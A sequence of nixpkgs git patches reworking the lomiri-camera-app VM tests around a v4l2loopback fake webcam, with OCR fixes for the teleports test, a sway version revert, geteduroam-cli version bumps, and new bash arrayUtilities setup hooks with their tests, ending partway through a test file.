-      machine.succeed("ffmpeg -re -loop 1 -i output.png -vf format=yuv420p -f v4l2 /dev/video10 -loglevel fatal >&2 &")
+  v4l2-photo = makeTest (
+    { lib, ... }:
+    {
+      name = "lomiri-camera-app-v4l2-photo";
+      meta.maintainers = lib.teams.lomiri.members;
 
-      with subtest("lomiri camera uses camera"):
-          machine.succeed("lomiri-camera-app >&2 &")
-          # emitted twice
-          machine.wait_for_console_text("No flash control support")
-          machine.wait_for_console_text("No flash control support")
-          machine.sleep(10)
-          machine.send_key("alt-f10")
-          machine.sleep(5)
-          machine.wait_for_text("${qrLabel}")
-          machine.screenshot("lomiri-camera_feed")
+      nodes.machine =
+        { config, pkgs, ... }:
+        {
+          imports = [ ./common/x11.nix ];
 
-          machine.succeed("xdotool mousemove 510 670 click 1") # take photo
-          machine.wait_until_succeeds("ls /root/Pictures/camera.ubports | grep '\\.jpg$'")
+          services.xserver.enable = true;
 
-          # Check that the image is correct
-          machine.send_key("ctrl-alt-right")
-          machine.succeed("magick /root/Pictures/camera.ubports/IMG_00000001.jpg -flop photo_flip.png")
-          machine.succeed("feh photo_flip.png >&2 &")
-          machine.sleep(10)
-          machine.wait_for_text("${qrLabel}")
-          machine.screenshot("lomiri-camera_photo")
+          environment = {
+            etc."${feedImageFile}".source = makeFeedImage pkgs;
+            systemPackages =
+              with pkgs;
+              [
+                feh # view photo result
+                ffmpeg # fake webcam stream
+                imagemagick # unflip webcam photo
+                xdotool # clicking on camera button
+              ]
+              ++ (with pkgs.lomiri; [
+                suru-icon-theme
+                lomiri-camera-app
+              ]);
+            variables = {
+              UITK_ICON_THEME = "suru";
+            };
+          };
 
-      machine.succeed("pkill -f feh")
-      machine.send_key("ctrl-alt-left")
-      machine.succeed("pkill -f lomiri-camera-app")
+          i18n.supportedLocales = [ "all" ];
 
-      # Sometimes no camera feed, GStreamer errors out with: CameraBin error: "Failed to allocate required memory."
-      # Adding more VM memory didn't affect this. Maybe flaky in general?
-      # Current assumption: Camera access gets requested in a weird/still-in-use state, so sleep abit
-      machine.sleep(10)
+          fonts = {
+            packages = with pkgs; [
+              # Intended font & helps with OCR
+              ubuntu-classic
+            ];
+          };
 
-      with subtest("lomiri barcode scanner uses camera"):
-          machine.succeed("lomiri-camera-app --mode=barcode-reader >&2 &")
-          # emitted twice
-          machine.wait_for_console_text("No flash control support")
-          machine.wait_for_console_text("No flash control support")
-          machine.sleep(10)
-          machine.send_key("alt-f10")
-          machine.sleep(5)
-          machine.wait_for_text("${qrLabel}")
-          machine.succeed("xdotool mousemove 510 670 click 1") # open up QR decode result
+          # Fake camera
+          boot.extraModulePackages = with config.boot.kernelPackages; [ v4l2loopback ];
+        };
 
-          # OCR is struggling to recognise the text. Click the clipboard button and paste the result somewhere else
-          machine.sleep(5)
-          machine.screenshot("lomiri-barcode_decode")
-          machine.succeed("xdotool mousemove 540 590 click 1")
-          machine.sleep(5)
+      enableOCR = true;
 
-          # Need to make a new window without closing camera app, otherwise clipboard content gets lost?
-          machine.send_key("ctrl-alt-right")
-          machine.succeed("gnome-text-editor >&2 &")
-          machine.sleep(10)
-          machine.send_key("alt-f10")
-          machine.sleep(5)
-          machine.wait_for_text("New")
+      testScript = ''
+        machine.wait_for_x()
 
-          # Font size up to help with OCR
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
-          machine.send_key("ctrl-kp_add")
+        # Setup fake v4l2 camera
+        machine.succeed("modprobe v4l2loopback video_nr=10 card_label=Video-Loopback exclusive_caps=1")
+        machine.succeed("ffmpeg -re -loop 1 -i /etc/${feedImageFile} -vf format=yuv420p -f v4l2 /dev/video10 -loglevel fatal >&2 &")
 
-          machine.send_key("ctrl-v")
-          machine.wait_for_text("${qrContent}")
+        with subtest("lomiri camera uses camera"):
+            machine.succeed("lomiri-camera-app >&2 &")
+            # emitted twice
+            machine.wait_for_console_text("No flash control support")
+            machine.wait_for_console_text("No flash control support")
+            machine.sleep(10)
+            machine.send_key("alt-f10")
+            machine.sleep(5)
+            machine.wait_for_text("${feedLabel}")
+            machine.screenshot("lomiri-camera_feed")
 
-      machine.succeed("pkill -f gnome-text-editor")
-      machine.send_key("ctrl-alt-left")
-      machine.succeed("pkill -f lomiri-camera-app")
+            machine.succeed("xdotool mousemove 510 670 click 1") # take photo
+            machine.wait_until_succeeds("ls /root/Pictures/camera.ubports | grep '\\.jpg$'")
 
-      # Sometimes no camera feed, GStreamer errors out with: CameraBin error: "Failed to allocate required memory."
-      # Adding more VM memory didn't affect this. Maybe flaky in general?
-      # Current assumption: Camera access gets requested in a weird/still-in-use state, so sleep abit
-      machine.sleep(10)
+            # Check that the image is correct
+            machine.send_key("ctrl-alt-right")
+            machine.succeed("magick /root/Pictures/camera.ubports/IMG_00000001.jpg -flop photo_flip.png")
+            machine.succeed("feh photo_flip.png >&2 &")
+            machine.sleep(10)
+            machine.send_key("alt-f10")
+            machine.sleep(5)
+            machine.wait_for_text("${feedLabel}")
+            machine.screenshot("lomiri-camera_photo")
+      '';
+    }
+  );
 
-      with subtest("lomiri camera localisation works"):
-          machine.succeed("env LANG=de_DE.UTF-8 lomiri-camera-app >&2 &")
-          # emitted twice
-          machine.wait_for_console_text("No flash control support")
-          machine.wait_for_console_text("No flash control support")
-          machine.sleep(10)
-          machine.send_key("alt-f10")
-          machine.sleep(5)
-          machine.wait_for_text("Kamera")
-          machine.screenshot("lomiri-camera_localised")
-    '';
+  v4l2-qr = makeTest (
+    { lib, ... }:
+    {
+      name = "lomiri-camera-app-v4l2-qr";
+      meta.maintainers = lib.teams.lomiri.members;
+
+      nodes.machine =
+        { config, pkgs, ... }:
+        {
+          imports = [ ./common/x11.nix ];
+
+          services.xserver.enable = true;
+
+          environment = {
+            etc."${feedImageFile}".source = makeFeedImage pkgs;
+            systemPackages =
+              with pkgs;
+              [
+                ffmpeg # fake webcam stream
+                gnome-text-editor # somewhere to paste QR result
+                xdotool # clicking on QR button
+              ]
+              ++ (with pkgs.lomiri; [
+                suru-icon-theme
+                lomiri-camera-app
+              ]);
+            variables = {
+              UITK_ICON_THEME = "suru";
+            };
+          };
+
+          i18n.supportedLocales = [ "all" ];
+
+          fonts = {
+            packages = with pkgs; [
+              # Intended font & helps with OCR
+              ubuntu-classic
+            ];
+          };
+
+          # Fake camera
+          boot.extraModulePackages = with config.boot.kernelPackages; [ v4l2loopback ];
+        };
+
+      enableOCR = true;
+
+      testScript = ''
+        machine.wait_for_x()
+
+        # Setup fake v4l2 camera
+        machine.succeed("modprobe v4l2loopback video_nr=10 card_label=Video-Loopback exclusive_caps=1")
+        machine.succeed("ffmpeg -re -loop 1 -i /etc/${feedImageFile} -vf format=yuv420p -f v4l2 /dev/video10 -loglevel fatal >&2 &")
+
+        with subtest("lomiri barcode scanner uses camera"):
+            machine.succeed("lomiri-camera-app --mode=barcode-reader >&2 &")
+            # emitted twice
+            machine.wait_for_console_text("No flash control support")
+            machine.wait_for_console_text("No flash control support")
+            machine.sleep(10)
+            machine.send_key("alt-f10")
+            machine.sleep(5)
+            machine.wait_for_text("${feedLabel}")
+            machine.succeed("xdotool mousemove 510 670 click 1") # open up QR decode result
+
+            # OCR is struggling to recognise the text. Click the clipboard button and paste the result somewhere else
+            machine.sleep(5)
+            machine.screenshot("lomiri-barcode_decode")
+            machine.succeed("xdotool mousemove 540 590 click 1")
+            machine.sleep(5)
+
+            # Need to make a new window without closing camera app, otherwise clipboard content gets lost?
+            machine.send_key("ctrl-alt-right")
+            machine.succeed("gnome-text-editor >&2 &")
+            machine.sleep(10)
+            machine.send_key("alt-f10")
+            machine.sleep(5)
+            machine.wait_for_text("New")
+
+            # Font size up to help with OCR
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+            machine.send_key("ctrl-kp_add")
+
+            machine.send_key("ctrl-v")
+            machine.wait_for_text("${feedQrContent}")
+      '';
+    }
+  );
 }
diff --git a/pkgs/desktops/lomiri/applications/lomiri-camera-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-camera-app/default.nix
index 6497a0571c2f..8238f1fcbdeb 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-camera-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-camera-app/default.nix
@@ -132,7 +132,13 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   passthru = {
-    tests.vm = nixosTests.lomiri-camera-app;
+    tests = {
+      inherit (nixosTests.lomiri-camera-app)
+        basic
+        v4l2-photo
+        v4l2-qr
+        ;
+    };
     updateScript = gitUpdater { rev-prefix = "v"; };
   };
 

From 5af581aa0ad1c349415e2b66faa2b0bf510b4d6c Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 4 Jun 2025 11:12:13 +0200
Subject: [PATCH 0903/4511] nixosTests.teleports: Fix OCR

(cherry picked from commit 3be4b7894ae64ff93bbe6dbbaeaee0aad087a0b4)
---
 nixos/tests/teleports.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/teleports.nix b/nixos/tests/teleports.nix
index 613ad5a7fc84..84a880f9ad50 100644
--- a/nixos/tests/teleports.nix
+++ b/nixos/tests/teleports.nix
@@ -36,7 +36,7 @@
     with subtest("teleports launches"):
         machine.succeed("teleports >&2 &")
         machine.wait_for_console_text("authorizationStateWaitPhoneNumber")
-        machine.send_key("alt-f10")
+        # Not fullscreening, because main app colour makes OCR stuck
         machine.sleep(2)
         machine.wait_for_text(r"(TELEports|Phone Number)")
         machine.screenshot("teleports_open")
@@ -46,7 +46,7 @@
     with subtest("teleports localisation works"):
         machine.succeed("env LANG=de_DE.UTF-8 teleports >&2 &")
         machine.wait_for_console_text("authorizationStateWaitPhoneNumber")
-        machine.send_key("alt-f10")
+        # Not fullscreening, because main app colour makes OCR stuck
         machine.sleep(2)
         machine.wait_for_text("Telefonnummer")
         machine.screenshot("teleports_localised")

From 7a4dc5e5524efe7ea0abfaa888aab1376bf912d8 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 4 Jun 2025 19:20:35 +0200
Subject: [PATCH 0904/4511] nixosTests.lomiri-camera-app: Fix OCR, round 4

We're struggling with OCRing gnome-text-editor now. Let's inspect the clipboard via simpler means.

(cherry picked from commit 1f57618cae5cc3db01d713fc23bf037c9803c71d)
---
 nixos/tests/lomiri-camera-app.nix | 35 +++----------------------------
 1 file changed, 3 insertions(+), 32 deletions(-)

diff --git a/nixos/tests/lomiri-camera-app.nix b/nixos/tests/lomiri-camera-app.nix
index 7a1a7929bccb..24824a30cd4b 100644
--- a/nixos/tests/lomiri-camera-app.nix
+++ b/nixos/tests/lomiri-camera-app.nix
@@ -201,7 +201,7 @@ in
               with pkgs;
               [
                 ffmpeg # fake webcam stream
-                gnome-text-editor # somewhere to paste QR result
+                xclip # inspect QR contents copied into clipboard
                 xdotool # clicking on QR button
               ]
               ++ (with pkgs.lomiri; [
@@ -246,40 +246,11 @@ in
             machine.wait_for_text("${feedLabel}")
             machine.succeed("xdotool mousemove 510 670 click 1") # open up QR decode result
 
-            # OCR is struggling to recognise the text. Click the clipboard button and paste the result somewhere else
+            # OCR is struggling to recognise the text. Click the clipboard button, check what got copied
             machine.sleep(5)
             machine.screenshot("lomiri-barcode_decode")
             machine.succeed("xdotool mousemove 540 590 click 1")
-            machine.sleep(5)
-
-            # Need to make a new window without closing camera app, otherwise clipboard content gets lost?
-            machine.send_key("ctrl-alt-right")
-            machine.succeed("gnome-text-editor >&2 &")
-            machine.sleep(10)
-            machine.send_key("alt-f10")
-            machine.sleep(5)
-            machine.wait_for_text("New")
-
-            # Font size up to help with OCR
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-            machine.send_key("ctrl-kp_add")
-
-            machine.send_key("ctrl-v")
-            machine.wait_for_text("${feedQrContent}")
+            machine.wait_until_succeeds("env DISPLAY=:0 xclip -selection clipboard -o | grep -q '${feedQrContent}'")
       '';
     }
   );

From fd487183437963a59ba763c0cc4f27e3447dd6dd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Thu, 12 Jun 2025 13:33:18 +0200
Subject: [PATCH 0905/4511] Revert "sway-unwrapped: 1.10.1 -> 1.11"

This reverts commit bc292fbe9831fc433b97d20f0efc2267d3857e35.
nixosTests.sway on aarch64 regressed, so let's back out for now; see:
https://github.com/NixOS/nixpkgs/pull/415154#issuecomment-2960483374
---
 pkgs/by-name/sw/sway-unwrapped/package.nix | 4 ++--
 pkgs/top-level/all-packages.nix            | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sw/sway-unwrapped/package.nix b/pkgs/by-name/sw/sway-unwrapped/package.nix
index 22707fc19d99..279e711c923b 100644
--- a/pkgs/by-name/sw/sway-unwrapped/package.nix
+++ b/pkgs/by-name/sw/sway-unwrapped/package.nix
@@ -35,7 +35,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "sway-unwrapped";
-  version = "1.11";
+  version = "1.10.1";
 
   inherit
     enableXWayland
@@ -47,7 +47,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "swaywm";
     repo = "sway";
     rev = finalAttrs.version;
-    hash = "sha256-xMrexVDpgkGnvAAglshsh7HjvcbU2/Q6JLUd5J487qg=";
+    hash = "sha256-uBtQk8uhW/i8lSbv6zwsRyiiImFBw1YCQHVWQ8jot5w=";
   };
 
   patches =
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index b4857387f1f3..db81bcfb396e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2070,7 +2070,7 @@ with pkgs;
   coreboot-configurator = libsForQt5.callPackage ../tools/misc/coreboot-configurator { };
 
   sway-unwrapped = callPackage ../by-name/sw/sway-unwrapped/package.nix {
-    wlroots = wlroots_0_19;
+    wlroots = wlroots_0_18;
   };
 
   cambrinary = python3Packages.callPackage ../applications/misc/cambrinary { };

From 01fd161d2b9464cf4819b52508fb6c8accee3c04 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 09:36:48 +0000
Subject: [PATCH 0906/4511] geteduroam-cli: 0.10 -> 0.11

(cherry picked from commit 9f262ea49b2d3c124339d53ded79d4f01cfd4e26)
---
 pkgs/by-name/ge/geteduroam-cli/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ge/geteduroam-cli/package.nix b/pkgs/by-name/ge/geteduroam-cli/package.nix
index 082e254ce61a..08a58c74d798 100644
--- a/pkgs/by-name/ge/geteduroam-cli/package.nix
+++ b/pkgs/by-name/ge/geteduroam-cli/package.nix
@@ -7,13 +7,13 @@
 }:
 buildGoModule (finalAttrs: {
   pname = "geteduroam-cli";
-  version = "0.10";
+  version = "0.11";
 
   src = fetchFromGitHub {
     owner = "geteduroam";
     repo = "linux-app";
     tag = finalAttrs.version;
-    hash = "sha256-Mtzt6i8vJ5M8T0vrAOxXhawlhCmCMEnDQz0Jo6uV88A=";
+    hash = "sha256-CbgQn6mf1125DYKBDId+BmFMcfdWNW2M4/iLoiELOAY=";
   };
 
   vendorHash = "sha256-b06wnqT88J7etNTFJ6nE9Uo0gOQOGvvs0vPNnJr6r4Q=";

From 3f5f02a613a1e3b1efe4cd544826d61ea8496849 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 12:04:59 +0000
Subject: [PATCH 0907/4511] geteduroam-cli: 0.11 -> 0.12

(cherry picked from commit 510089ec1d4ed14babb92545c25bc35a35d0b8d2)
---
 pkgs/by-name/ge/geteduroam-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ge/geteduroam-cli/package.nix b/pkgs/by-name/ge/geteduroam-cli/package.nix
index 08a58c74d798..e38a24fd4b7b 100644
--- a/pkgs/by-name/ge/geteduroam-cli/package.nix
+++ b/pkgs/by-name/ge/geteduroam-cli/package.nix
@@ -7,16 +7,16 @@
 }:
 buildGoModule (finalAttrs: {
   pname = "geteduroam-cli";
-  version = "0.11";
+  version = "0.12";
 
   src = fetchFromGitHub {
     owner = "geteduroam";
     repo = "linux-app";
     tag = finalAttrs.version;
-    hash = "sha256-CbgQn6mf1125DYKBDId+BmFMcfdWNW2M4/iLoiELOAY=";
+    hash = "sha256-+3mluLby3R0xVU9fIG+1B1A4yM1IfyUvw4wclwnV5s8=";
   };
 
-  vendorHash = "sha256-b06wnqT88J7etNTFJ6nE9Uo0gOQOGvvs0vPNnJr6r4Q=";
+  vendorHash = "sha256-l9hge1TS+7ix9/6LKWq+lTMjNM4/Lnw8gNrWB6hWCTk=";
 
   subPackages = [
     "cmd/geteduroam-cli"

From 589dde029e620164c0cd2b11f9a3182dbee5ecb8 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Wed, 14 May 2025 22:50:24 +0000
Subject: [PATCH 0908/4511] arrayUtilities: init

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 38a823246126e6724699e1e5fcc7cf28adc5130a)
---
 ci/OWNERS                                     |   1 +
 .../getSortedMapKeys/getSortedMapKeys.bash    |  45 +++
 .../getSortedMapKeys/package.nix              |  17 +
 .../arrayUtilities/getSortedMapKeys/tests.nix |  80 ++++
 .../isDeclaredArray/isDeclaredArray.bash      |  14 +
 .../isDeclaredArray/package.nix               |   9 +
 .../arrayUtilities/isDeclaredArray/tests.nix  | 353 ++++++++++++++++
 .../isDeclaredMap/isDeclaredMap.bash          |  14 +
 .../arrayUtilities/isDeclaredMap/package.nix  |   9 +
 .../arrayUtilities/isDeclaredMap/tests.nix    | 377 ++++++++++++++++++
 .../arrayUtilities/sortArray/package.nix      |  11 +
 .../arrayUtilities/sortArray/sortArray.bash   |  53 +++
 .../arrayUtilities/sortArray/tests.nix        | 178 +++++++++
 pkgs/test/default.nix                         |  10 +
 pkgs/top-level/all-packages.nix               |  17 +
 15 files changed, 1188 insertions(+)
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/getSortedMapKeys.bash
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/package.nix
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/tests.nix
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/isDeclaredArray.bash
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/package.nix
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/tests.nix
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/isDeclaredMap.bash
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/package.nix
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredMap/tests.nix
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/sortArray/package.nix
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/sortArray/sortArray.bash
 create mode 100644 pkgs/build-support/setup-hooks/arrayUtilities/sortArray/tests.nix

diff --git a/ci/OWNERS b/ci/OWNERS
index 712d9b8b091c..1b1756a4e705 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -59,6 +59,7 @@
 /pkgs/build-support/cc-wrapper                   @Ericson2314
 /pkgs/build-support/bintools-wrapper             @Ericson2314
 /pkgs/build-support/setup-hooks                  @Ericson2314
+/pkgs/build-support/setup-hooks/arrayUtilities   @ConnorBaker
 /pkgs/build-support/setup-hooks/auto-patchelf.sh @layus
 /pkgs/by-name/au/auto-patchelf                   @layus
 
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/getSortedMapKeys.bash b/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/getSortedMapKeys.bash
new file mode 100644
index 000000000000..436d7b0dbd6d
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/getSortedMapKeys.bash
@@ -0,0 +1,45 @@
+# shellcheck shell=bash
+
+# getSortedMapKeys
+# Stores the sorted keys of the input associative array referenced by inputMapRef in the indexed arrray referenced by
+# outputArrRef.
+#
+# Note from the Bash manual on arrays:
+#   There is no maximum limit on the size of an array, nor any requirement that members be indexed or assigned contiguously.
+#   - https://www.gnu.org/software/bash/manual/html_node/Arrays.html
+#
+# Since no guarantees are made about the order in which associative maps are traversed, this function is primarly
+# useful for getting rid of yet another source of non-determinism. As an added benefit, it checks that the arguments
+# provided are of correct type, unlike native parameter expansion which will accept expansions of strings.
+#
+# Arguments:
+# - inputMapRef: a reference to an associative array (not mutated)
+# - outputArrRef: a reference to an indexed array (contents are replaced entirely)
+#
+# Returns 0.
+getSortedMapKeys() {
+  if (($# != 2)); then
+    nixErrorLog "expected two arguments!"
+    nixErrorLog "usage: getSortedMapKeys inputMapRef outputArrRef"
+    exit 1
+  fi
+
+  local -rn inputMapRef="$1"
+  # shellcheck disable=SC2178
+  # Don't warn about outputArrRef being used as an array because it is an array.
+  local -rn outputArrRef="$2"
+
+  if ! isDeclaredMap "${!inputMapRef}"; then
+    nixErrorLog "first argument inputMapRef must be a reference to an associative array"
+    exit 1
+  elif ! isDeclaredArray "${!outputArrRef}"; then
+    nixErrorLog "second argument outputArrRef must be a reference to an indexed array"
+    exit 1
+  fi
+
+  # shellcheck disable=SC2034
+  local -a keys=("${!inputMapRef[@]}")
+  sortArray keys "${!outputArrRef}"
+
+  return 0
+}
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/package.nix b/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/package.nix
new file mode 100644
index 000000000000..0a610db6eeed
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/package.nix
@@ -0,0 +1,17 @@
+{
+  callPackages,
+  isDeclaredArray,
+  isDeclaredMap,
+  makeSetupHook,
+  sortArray,
+}:
+makeSetupHook {
+  name = "getSortedMapKeys";
+  propagatedBuildInputs = [
+    isDeclaredArray
+    isDeclaredMap
+    sortArray
+  ];
+  passthru.tests = callPackages ./tests.nix { };
+  meta.description = "Gets the sorted indices of an associative array";
+} ./getSortedMapKeys.bash
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/tests.nix b/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/tests.nix
new file mode 100644
index 000000000000..3808f6e60cec
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/getSortedMapKeys/tests.nix
@@ -0,0 +1,80 @@
+# NOTE: Tests related to getSortedMapKeys go here.
+{
+  getSortedMapKeys,
+  lib,
+  testers,
+}:
+let
+  inherit (lib.attrsets) recurseIntoAttrs;
+  inherit (testers) shellcheck shfmt testEqualArrayOrMap;
+
+  check =
+    {
+      name,
+      valuesMap,
+      expectedArray,
+    }:
+    (testEqualArrayOrMap {
+      inherit name valuesMap expectedArray;
+      script = ''
+        set -eu
+        nixLog "running getSortedMapKeys with valuesMap to populate actualArray"
+        getSortedMapKeys valuesMap actualArray
+      '';
+    }).overrideAttrs
+      (prevAttrs: {
+        nativeBuildInputs = prevAttrs.nativeBuildInputs or [ ] ++ [ getSortedMapKeys ];
+      });
+in
+recurseIntoAttrs {
+  shellcheck = shellcheck {
+    name = "getSortedMapKeys";
+    src = ./getSortedMapKeys.bash;
+  };
+
+  shfmt = shfmt {
+    name = "getSortedMapKeys";
+    src = ./getSortedMapKeys.bash;
+  };
+
+  empty = check {
+    name = "empty";
+    valuesMap = { };
+    expectedArray = [ ];
+  };
+
+  singleton = check {
+    name = "singleton";
+    valuesMap = {
+      "apple" = "fruit";
+    };
+    expectedArray = [ "apple" ];
+  };
+
+  keysAreSorted = check {
+    name = "keysAreSorted";
+    valuesMap = {
+      "apple" = "fruit";
+      "bee" = "insect";
+      "carrot" = "vegetable";
+    };
+    expectedArray = [
+      "apple"
+      "bee"
+      "carrot"
+    ];
+  };
+
+  # NOTE: While keys can be whitespace, they cannot be null (empty).
+  keysCanBeWhitespace = check {
+    name = "keysCanBeWhitespace";
+    valuesMap = {
+      " " = 1;
+      "  " = 2;
+    };
+    expectedArray = [
+      " "
+      "  "
+    ];
+  };
+}
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/isDeclaredArray.bash b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/isDeclaredArray.bash
new file mode 100644
index 000000000000..695bef751429
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/isDeclaredArray.bash
@@ -0,0 +1,14 @@
+# shellcheck shell=bash
+
+# isDeclaredArray
+# Tests if inputArrayRef refers to a declared, indexed array.
+#
+# Arguments:
+# - inputArrayRef: a reference to an indexed array (not mutated)
+#
+# Returns 0 if the indexed array is declared, 1 otherwise.
+isDeclaredArray() {
+  # NOTE: We must dereference the name ref to get the type of the underlying variable.
+  # shellcheck disable=SC2034
+  local -nr inputArrayRef="$1" && [[ ${!inputArrayRef@a} =~ a ]]
+}
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/package.nix b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/package.nix
new file mode 100644
index 000000000000..2b8ba3942c98
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/package.nix
@@ -0,0 +1,9 @@
+{
+  callPackages,
+  makeSetupHook,
+}:
+makeSetupHook {
+  name = "isDeclaredArray";
+  passthru.tests = callPackages ./tests.nix { };
+  meta.description = "Tests if an array is declared";
+} ./isDeclaredArray.bash
diff --git a/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/tests.nix b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/tests.nix
new file mode 100644
index 000000000000..72ea53ce45f8
--- /dev/null
+++ b/pkgs/build-support/setup-hooks/arrayUtilities/isDeclaredArray/tests.nix
@@ -0,0 +1,353 @@
+# NOTE: Tests related to isDeclaredArray go here.
+{
+  isDeclaredArray,
+  lib,
+  runCommand,
+  testers,
+}:
+let
+  inherit (lib.attrsets) recurseIntoAttrs;
+  inherit (testers) shellcheck shfmt testBuildFailure';
+
+  commonArgs = {
+    __structuredAttrs = true;
+    strictDeps = true;
+    preferLocalBuild = true;
+    nativeBuildInputs = [ isDeclaredArray ];
+  };
+
+  check =
+    let
+      mkLine =
+        intro: values:
+        "${if intro == null then "" else intro + " "}check${if values == null then "" else "=" + values}";
+      mkScope =
+        scope: line:
+        if scope == null then
+          line
+        else if scope == "function" then
+          ''
+            foo() {
+              ${line}
+            }
+            foo
+          ''
+        else
+          builtins.throw "Invalid scope: ${scope}";
+    in
+    {
+      name,
+      scope,
+      intro,
+      values,
+    }:
+    runCommand name commonArgs ''
+      set -eu
+
+      ${mkScope scope (mkLine intro values)}
+
+      if isDeclaredArray check; then
+        nixLog "test passed"
+        touch "$out"
+      else
+        nixErrorLog "test failed"
+        exit 1
+      fi
+    '';
+in
+recurseIntoAttrs {
+  shellcheck = shellcheck {
+    name = "isDeclaredArray";
+    src = ./isDeclaredArray.bash;
+  };
+
+  shfmt = shfmt {
+    name = "isDeclaredArray";
+    src = ./isDeclaredArray.bash;
+  };
+
+  undeclaredFails = testBuildFailure' {
+    name = "undeclaredFails";
+    drv = runCommand "undeclared" commonArgs ''
+      set -eu
+      if isDeclaredArray undeclared; then
+        nixLog "test passed"
+        touch "$out"
+      else
+        nixErrorLog "test failed"
+        exit 1
+      fi
+    '';
+    expectedBuilderLogEntries = [
+      "test failed"
+    ];
+  };
+
+  mapFails = testBuildFailure' {
+    name = "mapFails";
+    drv = runCommand "map" commonArgs ''
+      set -eu
+      local -A map
+      if isDeclaredArray map; then
+        nixLog "test passed"
+        touch "$out"
+      else
+        nixErrorLog "test failed"
+        exit 1
+      fi
+    '';
